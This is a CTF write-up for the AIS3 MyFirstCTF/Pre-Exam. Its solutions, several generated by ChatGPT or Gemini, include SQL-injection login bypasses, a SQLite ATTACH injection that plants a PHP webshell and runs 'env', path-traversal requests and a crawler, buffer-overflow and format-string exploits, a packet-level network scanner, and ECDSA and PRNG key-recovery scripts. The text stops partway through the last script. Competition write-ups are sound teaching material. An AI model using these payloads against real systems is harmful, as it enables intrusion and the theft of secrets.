Foreword#
This is the story of how I conquered the AIS3 MyFirstCTF / Pre-Exam with the help of AI (?), ultimately achieving 3rd place in the Pre-Exam.
In the tags, if I’ve added ‘AI’, it means the solution was almost entirely generated by AI. I just kept feeding error messages and my hypotheses to ChatGPT or Gemini, and it produced the answer. If the ‘AI’ tag is missing, it means I might have had an intense discussion with AI, but ultimately, I wrote the final solution myself.
Web#
Tomorin db 🐧#
- Got a First Blood on this one

Explanation#
- The server program registers two routes:
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", redirectHandler) // 302 → YouTube- If the
URL.Pathwe send is/./flag, it doesn’t start with/flag, therefore:/flagdoesn’t match.- It falls back to the most general route,
/, which is handled byFileServer. FileServergoes to look for/app/Tomorin/flagand returns the Flag.- Remember to URL encode the
.to%2e, otherwise it won’t work.
Solution#
curl http://chals1.ais3.org:30000/%2e/flag- Flag:
AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}
Login Screen 1#
Explanation#
- At first, I thought it was an SQL injection. After a long discussion with AI, I successfully used a UNION injection to become Admin, but the username was different from the one in this section of
dashboard.php, so it wouldn’t output Flag 1.
<?php
// if the user is admin, show this post
if ($_SESSION['username'] == "admin") { ?>
<div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Just watched this excellent technical breakdown: https://youtu.be/jWvuUeUyyKU - it's a must-see if you're into cybersecurity, reverse engineering, or low-level internals. The explanations are clear, insightful, and packed with practical takeaways. Highly recommended for anyone looking to deepen their understanding or just enjoy quality analysis.</div></div>;
<div class='box'><strong>2025-05-06</strong><div id='post2' class='post'><?= getenv('FLAG1') ?></div></div>;
<?php }
// if the user is guest, show this post
else {
echo "<div class='box'><strong>2025-05-05</strong><div id='post1' class='post'>Only admin can view the flag.</div></div>";
}
?>
- Original exploit script:
- Using UNION injection, I set the 2FA and the password’s bcrypt hash to my own values. This way, during the verification process, these parameters are fetched directly, allowing a successful login after verification.
#!/bin/bash
bcrypt='$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO'
curl -X POST http://login-screen.ctftime.uk:36368/index.php \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "username=' UNION SELECT 2,'admin','$bcrypt','133713' -- " \
--data "password=1" \
-c cookies.txt
curl -v -i -X POST http://login-screen.ctftime.uk:36368/2fa.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=133713" \
-b cookies.txt \
-c cookies.txt
curl http://login-screen.ctftime.uk:36368/dashboard.php \
-b cookies.txt- After logging in, you can see that your
usernameis also tainted by the UNION injection, which prevents the Flag from being successfully displayed:
<h2>Welcome, ' UNION SELECT 2,'admin','$2y$12$xCBlXjGSA.0Xi6fChoaAoOl7V5LbqgaajjKudvll0Ib/YNgZCrlNO','133713' -- !</h2>- After trying for three hours with no results, I went to look for other vulnerabilities to exploit. I found this in
docker-compose.yml:
- ./cms/html/users.db:/var/www/html/users.db:ro- So I tried accessing the URL:
http://login-screen.ctftime.uk:36368/users.dband found that I could successfully downloadusers.db. TheUserstable inside looked like this:
sqlite> SELECT * FROM Users;
1|admin|$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC|51756447753485459839
2|guest|$2y$10$/th4ch2sGdetYaEoNrkC7O5m2cvvKo.21EBLOweMlaqXuec6k8E1y|000000Solution#
- I used hashcat to crack the admin’s password and found it was also
admin(could they be a little more creative? = =) - Then, after entering the 2FA code as
51756447753485459839, I successfully got the flag. - Flag:
AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}
Login Screen 2#
Explanation#
- I spent a long time on this problem with ChatGPT, maybe over an hour. I initially thought I had to extract the environment variable via some clever SQL injection, but I had no results.
- After giving it to Gemini Pro 2.5, it solved it in one go. Impressive. Here is its reasoning process:
To get FLAG2, you need to exploit the SQL Injection vulnerability present on the index.php login page. Although the users.db database is read-only, you can use this vulnerability to create a new file in the website’s root directory and write a webshell to it, allowing you to execute arbitrary server commands to read the FLAG2 environment variable.
The key vulnerability lies in the user login handling part of the index.php file.
// index.php
$username = $_POST['username'];
// ...
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
$result = $stmt->execute();
$user = $result->fetchArray();Although this code uses $db->prepare(), it incorrectly concatenates the user-supplied $username variable directly into the SQL query string instead of using a Parameterized Query. This makes the username field vulnerable to SQL injection.
Although the docker-compose.yml configuration mounts users.db as read-only (:ro), preventing you from modifying or adding data to the database, SQLite’s ATTACH DATABASE command allows us to create a brand new database file on the server’s file system. If the user running the web server (like www-data) has write permissions to the web directory (/var/www/html/), which is common in Docker environments, we can successfully create a file.
Solution#
- Bypass the ‘admin’ password verification.
- Use
ATTACH DATABASEto create a new database file namedshell.php. - Create a table within
shell.php. - Insert the PHP webshell code into that table.
- When SQLite writes the data to
shell.php, the file’s content is essentially your PHP webshell code. You can then access it through a browser to execute commands.
- Construct the SQL Injection Payload
In the
Usernamefield on the login page (index.php), enter the following SQL injection payload. Enter it as a single line. You need to know the ‘admin’ password to log in successfully.
admin'; ATTACH DATABASE 'shell.php' AS pwn; CREATE TABLE pwn.shell (payload TEXT); INSERT INTO pwn.shell (payload) VALUES ('<?php system($_GET["cmd"]); ?>'); --
admin': Closes the single quote inWHERE username = '...'.;: SQL command separator.ATTACH DATABASE 'shell.php' AS pwn;: Creates a file namedshell.phpand aliases it aspwnfor the current database connection.CREATE TABLE pwn.shell (payload TEXT);: Creates a table namedshellin thepwndatabase (which is theshell.phpfile).INSERT INTO pwn.shell (payload) VALUES ('<?php system($_GET["cmd"]); ?>');: Inserts a simple PHP webshell(<?php system($_GET["cmd"]); ?>)into thepwn.shelltable.--: Comments out the rest of the original query to ensure correct syntax.
- Execute Commands and Read the Flag
When you click login, the server executes your SQL payload and creates the shell.php file in the website’s root directory. The file is created successfully even if the page redirects to the 2FA page.
Now, you can directly access your uploaded webshell in the browser and pass the command you want to execute via the cmd parameter. To read all environment variables, use the env command:
http://login-screen.ctftime.uk:36368/shell.php?cmd=env
- Flag:
AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}
Pwn#
Welcome to the World of Ave Mujica🌙#
Explanation#
- Throw the binary into IDA for analysis, and you’ll find:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[143]; // [rsp+0h] [rbp-A0h] BYREF
char s[8]; // [rsp+8Fh] [rbp-11h] BYREF
unsigned __int8 int8; // [rsp+97h] [rbp-9h]
char *v7; // [rsp+98h] [rbp-8h]
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
printf("\x1B[2J\x1B[1;1H");
printf("\x1B[31m");
printf("%s", (const char *)banner);
puts(&byte_402A78);
puts(&byte_402AB8);
fgets(s, 8, stdin);
v7 = strchr(s, 10);
if ( v7 )
*v7 = 0;
if ( strcmp(s, "yes") )
{
puts(&byte_402AE8);
exit(1);
}
printf(&byte_402B20);
int8 = read_int8();
printf(&byte_402B41);
read(0, buf, int8);
return 0;
}- You can see that you must input
yesat the beginning to proceed, otherwise it will return directly. - Here we can see that the starting address of
bufis 160 bytes before$ebp([rbp-A0h]).- So, to overwrite the return address, we need to write an additional 8 bytes, for a total of 168 bytes.
- These next 8 bytes for the return address need to be filled with the address that gets us a shell, so we need to keep looking.
int Welcome_to_the_world_of_Ave_Mujica()
{
puts(&s);
puts(&byte_402990);
puts(&byte_4029B4);
puts(&byte_4029C3);
puts(&byte_4029D2);
puts(&byte_4029E1);
puts(&byte_4029FC);
puts(&byte_402A15);
return execve("/bin/sh", 0, 0);
}- Looking around, we can find this function, and we can see its address is at
0x401256
__int64 read_int8()
{
char buf[4]; // [rsp+8h] [rbp-8h] BYREF
int v2; // [rsp+Ch] [rbp-4h]
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 > 127 )
{
puts(&byte_402A38);
exit(1);
}
return (unsigned int)v2;
}- If we directly input a length of 176 there, it will be blocked by this
read_int8(). However, we can see that it checks usingv2 > 127, so we can bypass it by settingbufto-1.
Solution#
#!/usr/bin/env python3
from pwn import *
import sys
HOST = 'chals1.ais3.org'
PORT = 60491
context.binary = elf = ELF('./chall')
context.log_level = 'debug'
# Offset from the start of buf to the saved RIP
OFFSET = 168
WIN = elf.sym['Welcome_to_the_world_of_Ave_Mujica']
# =====================
def exploit(io):
io.recvuntil(b'?')
io.sendline(b'yes')
io.recvuntil(b':')
# Fill with -1 to make read() read 255 bytes, but we will only send the bytes we want later
io.sendline(b'-1')
io.recvuntil(b':')
payload = flat(
b'A' * OFFSET,
WIN
)
io.send(payload)
io.interactive()
if __name__ == '__main__':
if len(sys.argv) > 1 and sys.argv[1] == 'local':
io = process('./chall')
else:
io = remote(HOST, PORT)
exploit(io)- Flag:
AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._73d731ea7426df9733480c88e0b2da82}
Format Number#
Explanation#
- This one was almost entirely solved by AI, but I knew it was a format string attack as soon as I saw the problem.
| Position | Original C Code | Explanation |
|---|---|---|
| ① | strcpy(buffer, "Format number : %3$"); | It already contains %3$, but there’s no type character after it, so the next character will be treated as the format-specifier. |
| ② | strcat(buffer, format);strcat(buffer, "d\n"); |
|
So the final format string looks like this (using slot 42 as an example):
Format number : %3$%%42$d\n
└─┘└──────┘
① ②- First part,
%3$%→ Outputs the 3rd argument (the result ofrand()) as a literal%character, discarding the numerical value. - Second part,
%42$d→ Actually prints the 42nd stack slot as anint.
As long as
"%<idx>$d"can be formed completely, glibc will help us output the 4-byte integer from any stack position.
Why the payload payload = "%%{idx}$" passes check_format()#
check_format()only allows numbers (0–9) and punctuation.- The
%%,%, and$used in thepayloadare all punctuation and are completely legal. - A double
%%is parsed byprintfas a single literal%, successfully “consuming” the preceding%3$.
Script Operation Flow#
Probe slot by slot
for idx in range(20, 59): send : "%%{idx}$" server : printf("Format number : %3$%%{idx}$d\n", ...)Extract the decimal integer at the end of the line
m = re.search(r"(-?\d+)$", line)This is the 32-bit integer value of the
idx-th argument.Convert to little-endian and take the lowest 1 byte
- The flag is first
read()intochar flag[0x100], and lies on the stack in little-endian 4-byte chunks. - Directly using
v & 0xFFgives the corresponding ASCII character.
- The flag is first
Concatenate all printable slots
flag = "".join(chr(v & 0xff) for _, v in data)
Why is the range set to 20-58#
The first 3 arguments have already been consumed by
printf.%1$→ pointer to the"Welcome"string%2$→ pointer to"~~~"%3$→ the number fromrand()
After that comes the call frame, environment variable pointers… and further down is
flag[0x100].In practice, we start hitting the flag from index 20, and scanning up to 58 is enough to cover the entire string (144 bytes / 36 slots).
Solution#
#!/usr/bin/env python3
from pwn import remote
import re, struct
HOST, PORT = "chals1.ais3.org", 50960
FLAG_SLOTS = list(range(20, 59))
def leak_slot(idx):
io = remote(HOST, PORT)
io.recvuntil(b"What format do you want ? ")
payload = f"%%{idx}$".encode() # e.g. b"%%42$"
io.sendline(payload)
line = io.recvline(timeout=2).decode(errors="ignore").strip()
io.close()
print(f"[slot {idx:2d}] raw: {line!r}")
m = re.search(r"(-?\d+)$", line)
if not m:
print(" → no number")
return None
val = int(m.group(1))
print(f" → {val}")
return val
def to_bytes_le(x):
return struct.pack("<I", x & 0xFFFFFFFF)
if __name__ == "__main__":
data = []
for idx in FLAG_SLOTS:
v = leak_slot(idx)
if v is not None:
data.append((idx, v))
flag = "".join(chr(v & 0xff) for _, v in data)
print(f"\nflag: {flag!r}")- Flag:
AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}
Misc#
Welcome#
Solution#
Copy-pasting will cause issues, you have to type it manually (although I typed it manually as soon as I saw it).
- Flag:
AIS3{Welcome_And_Enjoy_The_CTF_!}
Ramen CTF#
Explanation#
- The breakthrough is on this receipt

- We can see the tax ID is
3478592?- Searched for the tax ID on the Ministry of Finance website, and only
34785923returned a business. 
- Searched for the tax ID on the Ministry of Finance website, and only
- Putting the address into Google Search, we can find the shop:
Leshan Hot Spring Ramen - Most people were probably fooled by the first photo on the Google menu, because entering any of the ramen names from it didn’t award any points.

- By scanning the QR code, we can find that the left QR code contains the message
蝦拉(Shrimp Ra)MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉
- Looking at a newer menu, you can see a simple
蝦拉麵(Shrimp Ramen) on the ordering machine.
Solution#
- Flag:
AIS3{樂山溫泉拉麵:蝦拉麵}
AIS3 Tiny Server - Web / Misc#
Explanation#
- This problem can be solved mainly by using a Path Traversal attack.
- Here is ChatGPT’s explanation:
Core process to get the flag quickly#
Directory Traversal
- The server only removes the leading
/from the URL and does not filter... - Sending
..%2f(%2f=/) allows you to go up one directory level. Repeat this multiple times to reach the true root directory/.
- The server only removes the leading
Directory Listing
- When entering a directory, the program directly uses
readdir()to compose an HTML file list and returns it. - Because there is “no access control,” you can see the entire file system’s directories and filenames after reaching
/.
- When entering a directory, the program directly uses
Find the flag filename
- Search for a filename with the prefix
readable_flag_in the root directory listing, for example,readable_flag_a1b2c3….
- Search for a filename with the prefix
Read the file directly
- By making a request with the same traversal path + the flag filename, the server will return the file’s content, and the flag will be displayed in the response body.
In one sentence: Use “
..%2fpath traversal + directory listing” to go directly to the file system root and read outreadable_flag_*.
Solution#
#!/usr/bin/env python3
import re, requests, sys
HOST = 'chals1.ais3.org'
PORT = 20963
BASE = f'http://{HOST}:{PORT}/'
session = requests.Session()
# 1. Find the position that can list the root directory
depth = 0
while depth < 10:
path = '..%2f' * depth
r = session.get(BASE + path)
if any(x in r.text for x in ('bin/', 'etc/', 'proc/')):
print(f'[+] Reached / with depth={depth}')
break
depth += 1
else:
print('[-] Failed to reach /, increase depth limit')
sys.exit(1)
# 2. Find the flag filename
flag_re = re.search(r'readable_flag_[^"/]+', r.text)
if not flag_re:
print('[-] readable_flag file not found in /')
sys.exit(1)
flag_name = flag_re.group(0)
print(f'[+] Found flag file: {flag_name}')
# 3. Read the flag
flag_url = BASE + ('..%2f' * depth) + flag_name
flag = session.get(flag_url).text.strip()
print(f'[FLAG] {flag}')- Flag:
AIS3{tInY_We8_5erv3R_w1TH_fIL3_BROWs1n9_As_@_fe4tUrE}
Tcp Tunnel#
- Got a First Blood on this one

Explanation#
- Initially, I used Wireshark to capture packets and noticed that the TCP payload returned by the server looked a bit strange.

- Throwing it into a Packet Decoder reveals that it is an ICMP Echo (ping) request.
- Combining this with the organizer’s hint, I figured that a network scan might be required.
- After discussing it with ChatGPT, I learned that I could use an ICMP ping sweep to scan all the machines on the network. Then, I could perform a common port scan on the machines that were found.
- Finally, I found that port 80 was open. Sending an HTTP request to it yielded the flag.
The following is a brief introduction from ChatGPT:
🚩 TCP Tunnel Solution Flow Briefing#
The core of this challenge is to interact with a virtual network by sending “encapsulated raw IP packets” through a TCP connection, thereby discovering services and obtaining the flag.
🧱 Establishing the TCP Tunnel#
- The challenge provides a TCP tunnel at
chals1.ais3.org:29997. - After connecting, the server sends a raw IP packet encapsulated in TCP.
- From this packet, you obtain your own IP (usually
10.10.X.Y).
🧠 Responding to the ICMP Echo Request#
- The server first sends an ICMP echo-request (ping).
- You must construct a correct echo-reply packet to send back.
- Success allows for continued communication, preventing the server from closing the connection.
🔍 Scanning the Virtual Network#
- Based on your own IP, for example,
10.10.55.43, you scan the entire10.10.55.0/24subnet. - Use ICMP to ping each host one by one to find out which ones exist.
🌐 Scanning TCP Ports and Obtaining the Flag#
- Perform a TCP SYN scan on the live hosts.
- Find open common ports (like 80).
- Manually perform a TCP three-way handshake and send an HTTP GET request.
- Successfully retrieve the flag from the response!
Solution#
#!/usr/bin/env python3
from pwn import remote
from scapy.all import IP, ICMP, TCP, RandShort
import select, time, random
HOST, PORT = "chals1.ais3.org", 29997
r = remote(HOST, PORT)
def recvn(n):
data = b''
while len(data) < n:
chunk = r.recv(n - len(data))
if not chunk:
raise EOFError
data += chunk
return data
def recv_ip(timeout=1.0):
ready, _, _ = select.select([r.sock], [], [], timeout)
if not ready:
return None
ip_hdr = recvn(20)
total_len = int.from_bytes(ip_hdr[2:4], 'big')
return IP(ip_hdr + recvn(total_len - 20))
def send_ip(pkt):
r.send(bytes(pkt)) # scapy will automatically recalculate checksum
# ─────────────────── Step 1: Get the first packet and obtain my IP
first_pkt = recv_ip()
assert ICMP in first_pkt and first_pkt[ICMP].type == 8
MY_IP = first_pkt.dst
SUBNET = ".".join(MY_IP.split('.')[:3]) + "."
print(f"[+] My tunnel IP: {MY_IP}")
# Respond with Echo-Reply
echo = first_pkt[ICMP]
rep = IP(src=first_pkt.dst, dst=first_pkt.src, ttl=64) / \
ICMP(type=0, id=echo.id, seq=echo.seq) / first_pkt[ICMP].payload
send_ip(rep)
# ─────────────────── Step 2: Ping-sweep 1–254
alive = set()
print("[*] Start ICMP ping sweep...")
for i in range(1, 255):
target = f"{SUBNET}{i}"
if target == MY_IP:
continue
pkt = IP(src=MY_IP, dst=target) / ICMP(id=0x1234, seq=i) / b'PING'
send_ip(pkt)
t_end = time.time() + 2
while time.time() < t_end:
pkt = recv_ip(timeout=t_end - time.time())
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
# Respond with keep-alive
e = pkt[ICMP]
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
send_ip(rep)
elif ICMP in pkt and pkt[ICMP].type == 0 and pkt.dst == MY_IP:
alive.add(pkt.src)
print("[+] Hosts up:")
for ip in sorted(alive):
print(" ", ip)
# ─────────────────── Step 3: Scan TCP ports on each host
PORTS = [22, 23, 25, 53, 80, 110, 143, 443, 3306, 8080]
print("[*] Start TCP SYN scan on common ports...")
probes = {}
for ip in alive:
for port in PORTS:
sport = random.randint(1024, 65535)
pkt = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=port, flags="S", seq=random.randint(0, 2**32-1))
send_ip(pkt)
probes[(ip, sport)] = port
open_ports = {}
t_end = time.time() + 3
while time.time() < t_end:
pkt = recv_ip(timeout=t_end - time.time())
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)/pkt[ICMP].payload
send_ip(rep)
elif TCP in pkt and pkt.dst == MY_IP:
key = (pkt.src, pkt[TCP].dport)
if key in probes and pkt[TCP].flags & 0x12 == 0x12: # SYN-ACK
open_ports.setdefault(pkt.src, []).append(probes[key])
print("[+] Open ports:")
if not open_ports:
print(" (none)")
else:
for ip, ports in open_ports.items():
print(f" {ip}: {', '.join(map(str, ports))} OPEN")
print("[*] You can now manually probe these IP:ports for flags.")
# ─────────────────── Step 4: Send an HTTP GET request to hosts with port 80 open
print("[*] Start HTTP GET / to open port 80 hosts...")
for ip, ports in open_ports.items():
if 80 not in ports:
continue
sport = random.randint(1024, 65535)
seq = random.randint(0, 2**32 - 1)
print(f"[*] Connecting to {ip}:80")
# 1. Send SYN
syn = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="S", seq=seq)
send_ip(syn)
# 2. Receive SYN-ACK
ack_num = None
while True:
pkt = recv_ip(timeout=1.0)
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
e = pkt[ICMP]
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
send_ip(rep)
elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
if pkt[TCP].flags & 0x12 == 0x12: # SYN-ACK
ack_num = pkt[TCP].seq + 1
break
# 3. Respond with ACK
ack = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="A", seq=seq+1, ack=ack_num)
send_ip(ack)
# 4. Send HTTP GET
http = b"GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n" % ip.encode()
psh = IP(src=MY_IP, dst=ip)/TCP(sport=sport, dport=80, flags="PA", seq=seq+1, ack=ack_num)/http
send_ip(psh)
# 5. Receive HTTP response
print(f"[+] Sent HTTP GET to {ip}, waiting for reply...")
response_data = b""
end_time = time.time() + 3
while time.time() < end_time:
pkt = recv_ip(timeout=0.5)
if not pkt:
continue
if ICMP in pkt and pkt[ICMP].type == 8 and pkt.dst == MY_IP:
e = pkt[ICMP]
rep = IP(src=pkt.dst, dst=pkt.src, ttl=64)/ICMP(type=0, id=e.id, seq=e.seq)/e.payload
send_ip(rep)
elif TCP in pkt and pkt[IP].src == ip and pkt[TCP].dport == sport:
if pkt[TCP].payload:
response_data += bytes(pkt[TCP].payload)
print(f"[+] Response from {ip}:\n")
try:
print(response_data.decode(errors="ignore"))
except Exception as e:
print(f"[!] Failed to decode response: {e}")- Flag:
AIS3{C0nnect_7cpTunnel_4nd_4cc3p7_w3b_serv1c3}
Crypto#
SlowECDSA#
Explanation#
- This challenge was solved by ChatGPT. I just fed it the problem, and it produced the solution. Here is its explanation:
🔐 AIS3 SlowECDSA Solution Overview#
This is a challenge that exploits a vulnerability in the ECDSA (Elliptic Curve Digital Signature Algorithm) signature process. The core issue is that the random number k used for signing is not secure. Here’s a summary of the key points for solving it:
📉 Core Problem: LCG Used as a Nonce#
The program uses the following Linear Congruential Generator (LCG) to generate the random number k for each signature:
k = (a * k_prev + c) % mThis means that the k value used for each signature has a linear relationship and is predictable. This leads to the following problems:
- The signature’s
randsvalues are related tok. - If we can obtain two sets of signatures (using related
kvalues) with the same hash value, we can recover the private keydusing a formula!
✍️ Attack Steps#
Obtain two signature data for the same message: In the challenge,
get_examplesigns"example_msg"every time, so we can get(r1, s1)and(r2, s2).Because
khas a linear relationship, substituting it into the ECDSA formula gives a linear equation, which can be solved for the private keyd:$$ $$$$d = \frac{c + a \cdot h \cdot s_1^{-1} - h \cdot s_2^{-1}}{r_2 \cdot s_2^{-1} - a \cdot r_1 \cdot s_1^{-1}} \mod n
$$ $$$$ $$
After obtaining
d, we can sign any message, including"give_me_flag".Send the forged
(r, s)to verify, pass the check, and get the flag.
✅ Solution Technique Summary#
- Never let the nonce
kbe repeated or related! - The security of ECDSA heavily relies on the randomness of
k. - If you can obtain multiple signatures for the same message and the
kvalues are related, it’s almost certain that the private key can be recovered.
Solution#
from pwn import remote
from ecdsa import NIST192p, ellipticcurve
from Crypto.Hash import SHA1
from ecdsa.util import string_to_number, number_to_string, randrange_from_seed__trytryagain
a = 1103515245
c = 12345
curve = NIST192p
n = curve.order
G = curve.generator
def h(msg):
return int.from_bytes(SHA1.new(msg).digest(), 'big') % n
def modinv(x): # python ≥3.8
return pow(x, -1, n)
r = remote("chals1.ais3.org", 19000)
def grab():
r.sendlineafter(b"option:", b"get_example")
r.recvuntil(b"r: ")
r1 = int(r.recvline().strip(), 16)
r.recvuntil(b"s: ")
s1 = int(r.recvline().strip(), 16)
return r1, s1
# two signatures on the same message
r1, s1 = grab()
r2, s2 = grab()
h_val = h(b"example_msg")
den = (r2 * modinv(s2) - a * r1 * modinv(s1)) % n
num = (c + a * h_val * modinv(s1) - h_val * modinv(s2)) % n
d = (num * modinv(den)) % n # secret key recovered!
# forge signature for give_me_flag
msg = b"give_me_flag"
k = 1 # any non-zero nonce works
R = k * G
r_sig = R.x() % n
s_sig = (modinv(k) * (h(msg) + r_sig * d)) % n
# send it back
r.sendlineafter(b"option:", b"verify")
r.sendlineafter(b"message:", msg.decode().encode())
r.sendlineafter(b"r (hex):", hex(r_sig).encode())
r.sendlineafter(b"s (hex):", hex(s_sig).encode())
r.interactive()- Flag:
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
Stream#
Explanation#
- This challenge was solved by ChatGPT. Here is its explanation:
Core Observation of the Problem#
- Each line of output is the 512-bit hash of
sha512(random 1 byte)XORed with the squarer²of a 256-bit random numberr. - The hash input has only 256 possibilities (0-255), so the hash value can be determined by brute force; once the correct hash is found, the square number can be calculated using
c ⊕ h = r². - When Python’s
random.getrandbits(256)is called consecutively, its 8 × 32-bit outputs come from the same MT19937 state, which can be recovered by randcrack.
Logical Breakdown and Implementation Flow#
Read 81 lines of hexadecimal strings ➜ convert to
int.Lines 0–77 (78 lines total)
- Enumerate 256 1-byte values, calculate the hash, XOR it, and check if the result is a perfect square.
- Take the square root to get the 256-bit
r. Following the CPython (MSB first) → randcrack (LSB first) order, split it into 8 32-bit words and feed them toRandCrack.submit(). - 78 lines × 8 words = 624 words, which is exactly enough to reconstruct the MT19937 internal state.
Lines 78 and 79
- The 16 words generated by these two lines are just to consume the PRNG output; simply call
rc_bits(…,32)to discard them.
- The 16 words generated by these two lines are just to consume the PRNG output; simply call
Predict the next 256-bit number (the
r_flagused for the flag line).Decrypt the Flag
flag_int = last_line ⊕ (r_flag²)- Convert to bytes ➜ Decode with UTF-8 to get
AIS3{…}.
Key Knowledge Used#
- Hash Reversal (Brute Force on a Finite Domain): Feasible for SHA-512 since the input space is only 256.
- Integer Square Test:
math.isqrt(n)**2 == ncan verify a perfect square and get its root in O(1). - Python’s
randomStructure:getrandbits(256)sequentially outputs 8 32-bit numbers in big-endian order. - MT19937 State Recovery: Requires 624 32-bit outputs, automatically done with the
randcrackpackage. - Bitwise Operations / XOR and Cryptography Basics:
m ⊕ k = c⇒c ⊕ k = m. - Encoding Handling:
int.to_bytesand UTF-8 decoding to retrieve the readable flag string.
Final Result#
In just about ten seconds, the complete flag AIS3{…} can be automatically recovered from the 81 lines of hexadecimal numbers output by the problem, demonstrating the predictability of MT19937 when used improperly.
Solution#
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
solve_flag.py – Recover the AIS3 flag from 81 lines of hexadecimal output
Usage:
python3 solve_flag.py < output.txt
"""
import hashlib, math, sys
from randcrack import RandCrack
# -------- Utilities -------- #
def is_square(n: int):
r = math.isqrt(n)
return r * r == n, r
# randcrack version difference: predict_getrandbits() vs getrandbits()
def rc_bits(rc, k):
return rc.predict_getrandbits(k) if hasattr(rc, "predict_getrandbits") else rc.getrandbits(k)
def submit_r(rc, r, msb_first=True):
"""Split the 256-bit r into 8 32-bit words and submit to randcrack
When msb_first=True, submit the most significant word first (CPython's order)"""
w = r.to_bytes(32, "big")
idxs = range(8) if msb_first else reversed(range(8))
for i in idxs:
rc.submit(int.from_bytes(w[i*4:i*4+4], "big"))
# -------- Read File -------- #
C = [int(line.strip(), 16) for line in sys.stdin if line.strip()]
if len(C) != 81:
sys.exit(f"❌ Requires 81 lines, but got {len(C)} lines")
# -------- Lines 0–77 → Collect 624 32-bit random numbers -------- #
rc = RandCrack()
for c in C[:78]: # 78 sets × 8 words = 624
for b in range(256): # SHA-512(1 byte) brute force
h = hashlib.sha512(bytes([b])).digest()
s = c ^ int.from_bytes(h, "big")
ok, r = is_square(s)
if ok and r.bit_length() <= 256:
submit_r(rc, r, msb_first=False) # CPython order
break
else:
sys.exit("❌ Couldn't find a square root for a line, has the file been modified?")
# -------- Skip the 16 words used by lines 78 and 79 -------- #
for _ in range(16):
rc_bits(rc, 32) # Each 32-bit grab consumes exactly one word
# -------- Generate the 80th set (= the one used to encrypt the flag) -------- #
r_flag = rc_bits(rc, 256)
# -------- Decrypt & Print Flag -------- #
flag_int = C[-1] ^ (r_flag ** 2)
flag_bytes = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")
try:
print(flag_bytes.decode())
except UnicodeDecodeError:
print("FLAG bytes:", flag_bytes)- Flag:
AIS3{no_more_junks...plz}
Hill#
Explanation#
- This challenge was solved by ChatGPT. Here is its introduction:
Problem Concept#
This problem divides a string into 8-byte blocks and performs Hill encryption in the finite field \(\mathbb{F}_{251}\):
$$ $$$$\mathbf c_0 = A\mathbf m_0,\qquad \mathbf c_i = A\mathbf m_i + B\mathbf m_{i-1};(i\ge1)
$$ $$$$ $$
The server first prints all the ciphertext blocks of the flag, then waits for the user to input a plaintext and returns the corresponding ciphertext.
Core Attack#
Choose Plaintext
Use printable characters to form a baseline vector \(\mathbf v=(48,\dots,48)\)
Send the following 18 blocks:
- \(\mathbf v,;\mathbf v\)
- For each axis \(k\in0..7\):\(\mathbf v+\delta_k,;\mathbf v\)
A total of two rounds of ciphertext:
- First round → flag
- Second round → probing ciphertext for recovery
Extract Matrices \(A,B\)
From lines 0 and 1, we get \(A\mathbf v,;(A+B)\mathbf v\), from which we can calculate \(B\mathbf v\).
For each \(k\):
$$ $$$$A\delta_k = (c_{r_k}-B\mathbf v),\quad B\delta_k = (c_{b_k}-A\mathbf v)
$$ $$$$Combine the 8 column vectors to form \(A,B\), then calculate \(A^{-1}\).
Recursively Decrypt the Flag
$$ $$$$\mathbf m_0 = A^{-1}\mathbf c_0,\quad \mathbf m_i = A^{-1}\bigl(\mathbf c_i - B\mathbf m_{i-1}\bigr)
$$ $$$$Concatenate all blocks back into a byte string and remove the padding zeros to get the full flag:
AIS3{b451c_h1ll_c1ph3r_15_2_3z_fun_4nd_34sy_r1gh7?}.
Key Details#
- Use printable characters (0x30/0x31) to avoid the truncation issue of
input()with\x00. - You must receive the complete flag ciphertext from the server before sending the payload, otherwise you will miss blocks.
- After the second connection ends, a direct
recvall()will retrieve all 18 lines of probing ciphertext at once.
Conclusion#
This problem is actually a typical linear algebra problem: With one chosen-plaintext opportunity, you can enumerate the unit vectors and solve for the entire key set, then use matrix inversion to deduce the original text. The cracking effort is just basic matrix operations.
Solution#
#!/usr/bin/env python3
# pip install pwntools sympy numpy
from pwn import remote
import numpy as np, sympy as sp, re
p = 251
n = 8
